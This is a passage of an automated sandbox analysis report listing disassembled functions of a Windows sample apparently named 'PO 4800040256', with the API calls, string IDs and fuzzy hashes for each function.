                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wcsicoll$IconLoad
                                                                                                                                                                      • String ID: blank$info$question$stop$warning
                                                                                                                                                                      • API String ID: 2485277191-404129466
                                                                                                                                                                      • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                      • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                                                                                                                                                                      • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                      • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                                                                                                                                                                      Function 00428604 Relevance: 25.8, APIs: 17, Instructions: 306stringCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                                                                                                                                                                      • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                                                                                                                                                                      • strncnt.LIBCMT ref: 00428646
                                                                                                                                                                      • strncnt.LIBCMT ref: 0042865A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: strncnt$CompareErrorLastString
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1776594460-0
                                                                                                                                                                      • Opcode ID: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                                                                                      • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                                                                                                                                                                      • Opcode Fuzzy Hash: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                                                                                      • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                                                                                                                                                                      Function 004545C9 Relevance: 25.7, APIs: 17, Instructions: 198windowtimeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadIconW.USER32(?,00000063), ref: 004545DA
                                                                                                                                                                      • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
                                                                                                                                                                      • SetWindowTextW.USER32(?,?), ref: 00454606
                                                                                                                                                                      • GetDlgItem.USER32(?,000003EA), ref: 0045461F
                                                                                                                                                                      • SetWindowTextW.USER32(00000000,?), ref: 00454626
                                                                                                                                                                      • GetDlgItem.USER32(?,000003E9), ref: 00454637
                                                                                                                                                                      • SetWindowTextW.USER32(00000000,?), ref: 0045463E
                                                                                                                                                                      • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
                                                                                                                                                                      • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 00454688
                                                                                                                                                                      • SetWindowTextW.USER32(?,?), ref: 004546FD
                                                                                                                                                                      • GetDesktopWindow.USER32 ref: 00454708
                                                                                                                                                                      • GetWindowRect.USER32(00000000), ref: 0045470F
                                                                                                                                                                      • MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
                                                                                                                                                                      • GetClientRect.USER32(?,?), ref: 0045476F
                                                                                                                                                                      • PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
                                                                                                                                                                      • SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3869813825-0
                                                                                                                                                                      • Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                                      • Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
                                                                                                                                                                      • Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                                                                                      • Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55
                                                                                                                                                                      Function 00458D1C Relevance: 25.6, APIs: 17, Instructions: 112COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F8A), ref: 00458D2D
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F00), ref: 00458D3A
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F03), ref: 00458D47
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F8B), ref: 00458D54
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F01), ref: 00458D61
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F81), ref: 00458D6E
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F88), ref: 00458D7B
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F80), ref: 00458D88
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F86), ref: 00458D95
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F83), ref: 00458DA2
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F85), ref: 00458DAF
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F82), ref: 00458DBC
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F84), ref: 00458DC9
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F04), ref: 00458DD6
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F02), ref: 00458DE3
                                                                                                                                                                      • LoadCursorW.USER32(00000000,00007F89), ref: 00458DF0
                                                                                                                                                                      • GetCursorInfo.USER32 ref: 00458E03
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Cursor$Load$Info
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2577412497-0
                                                                                                                                                                      • Opcode ID: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                                      • Instruction ID: 36b4ee280ed0253346847529aeb00c95e660e1b7f2a6688567eec4957a26740b
                                                                                                                                                                      • Opcode Fuzzy Hash: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                                                                                      • Instruction Fuzzy Hash: D9311671E4C3156AE7509F758C5AB1BBEE0AF40B54F004D2FF2889F2D1DAB9E4448B86
                                                                                                                                                                      Function 00469681 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 253windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                                                                                                                                                                      • GetFocus.USER32 ref: 004696E0
                                                                                                                                                                      • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                                                                                                                                                                      • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessagePost$CtrlFocus
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 1534620443-4108050209
                                                                                                                                                                      • Opcode ID: e5c32c991b5ca6252707de8ebf482154a45a931f584edf505bd4e03ae59cba12
                                                                                                                                                                      • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                                                                                                                                                                      • Opcode Fuzzy Hash: e5c32c991b5ca6252707de8ebf482154a45a931f584edf505bd4e03ae59cba12
                                                                                                                                                                      • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                                                                                                                                                                      Function 004680EB Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 204windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 00468107
                                                                                                                                                                      • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                                                                                                                                                                      • GetMenuItemCount.USER32(?), ref: 00468227
                                                                                                                                                                      • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                                                                                                                                                                      • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                                                                                                                                                                      • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                                                                                                                                                                      • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                                                                                                                                                                      • GetMenuItemCount.USER32 ref: 004682DC
                                                                                                                                                                      • SetMenuItemInfoW.USER32 ref: 00468317
                                                                                                                                                                      • GetCursorPos.USER32(00000000), ref: 00468322
                                                                                                                                                                      • SetForegroundWindow.USER32(?), ref: 0046832D
                                                                                                                                                                      • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                                                                                                                                                                      • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 3993528054-4108050209
                                                                                                                                                                      • Opcode ID: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                                      • Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
                                                                                                                                                                      • Opcode Fuzzy Hash: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                                                                                                      • Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                                                                                                                                                                      Function 0046F2B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185windowfileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                                                                                                                                                        • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                        • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                        • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                      • SendMessageW.USER32(?), ref: 0046F34C
                                                                                                                                                                      • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                                                                                                                                                                      • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                                                                                                                                                                      • _wcscat.LIBCMT ref: 0046F3BC
                                                                                                                                                                      • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                                                                                                                                                                      • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                                                                                                                                                                      • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                                                                                                                                                                      • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                                                                                                                                                                      • DragFinish.SHELL32(?), ref: 0046F414
                                                                                                                                                                      • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
                                                                                                                                                                      • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                                                                                      • API String ID: 4085615965-3440237614
                                                                                                                                                                      • Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                                      • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                                                                                                                                                                      • Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                                                                                      • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                                                                                                                                                                      Function 0044B988 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 73COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wcsicoll
                                                                                                                                                                      • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                                                                                                                                                      • API String ID: 3832890014-4202584635
                                                                                                                                                                      • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                      • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                                                                                                                                                                      • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                      • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                                                                                                                                                                      Function 00466999 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 312COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 004669C4
                                                                                                                                                                      • _wcsncpy.LIBCMT ref: 00466A21
                                                                                                                                                                      • _wcsncpy.LIBCMT ref: 00466A4D
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                      • _wcstok.LIBCMT ref: 00466A90
                                                                                                                                                                        • Part of subcall function 004142A3: __getptd.LIBCMT ref: 004142A9
                                                                                                                                                                      • _wcstok.LIBCMT ref: 00466B3F
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 00466BC8
                                                                                                                                                                      • GetOpenFileNameW.COMDLG32(00000058), ref: 00466CFE
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00466D1D
                                                                                                                                                                      • _memset.LIBCMT ref: 00466BEE
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00466D4B
                                                                                                                                                                      • GetSaveFileNameW.COMDLG32(00000058), ref: 00466D9E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcslen$FileName_memset_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                                                                                                                                                                      • String ID: X$HH
                                                                                                                                                                      • API String ID: 3021350936-1944015008
                                                                                                                                                                      • Opcode ID: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                                                                                                                      • Instruction ID: 73e83d7ea4d12cbe09e247b0b8120e99e9ae8af51722f6ce2f45a1bbad6557a4
                                                                                                                                                                      • Opcode Fuzzy Hash: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                                                                                                                      • Instruction Fuzzy Hash: D1C1B2715043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB9B
                                                                                                                                                                      Function 0045F48E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226windowsleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 0045F4AE
                                                                                                                                                                      • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                                                                                                                                                                      • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                                                                                                                                                                      • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InfoItemMenu$Sleep_memset
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 1504565804-4108050209
                                                                                                                                                                      • Opcode ID: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                                      • Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
                                                                                                                                                                      • Opcode Fuzzy Hash: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                                                                                                      • Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                                                                                                                                                                      Function 004556F8 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 216COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DestroyWindow.USER32(?,004A83D8,?), ref: 00455800
                                                                                                                                                                      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 00455847
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$CreateDestroy
                                                                                                                                                                      • String ID: ,$tooltips_class32
                                                                                                                                                                      • API String ID: 1109047481-3856767331
                                                                                                                                                                      • Opcode ID: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                                      • Instruction ID: af4df8b80438f92fd5356fe82daba85812243c44dff517d7eb602cf52e2cfce3
                                                                                                                                                                      • Opcode Fuzzy Hash: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                                                                                      • Instruction Fuzzy Hash: BF719075244704AFE320DB28CC85F7B77E4EB89700F50491EFA8197391E6B5E905CB59
                                                                                                                                                                      Function 0045CBCC Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _wcsncpy.LIBCMT ref: 0045CCFA
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 0045CD3C
                                                                                                                                                                      • _wcscat.LIBCMT ref: 0045CD51
                                                                                                                                                                      • _wcscat.LIBCMT ref: 0045CD63
                                                                                                                                                                      • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000104,?), ref: 0045CD78
                                                                                                                                                                      • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000104,?), ref: 0045CD8C
                                                                                                                                                                        • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                      • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDD0
                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDE6
                                                                                                                                                                      • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDF8
                                                                                                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 0045CE08
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 0045CE14
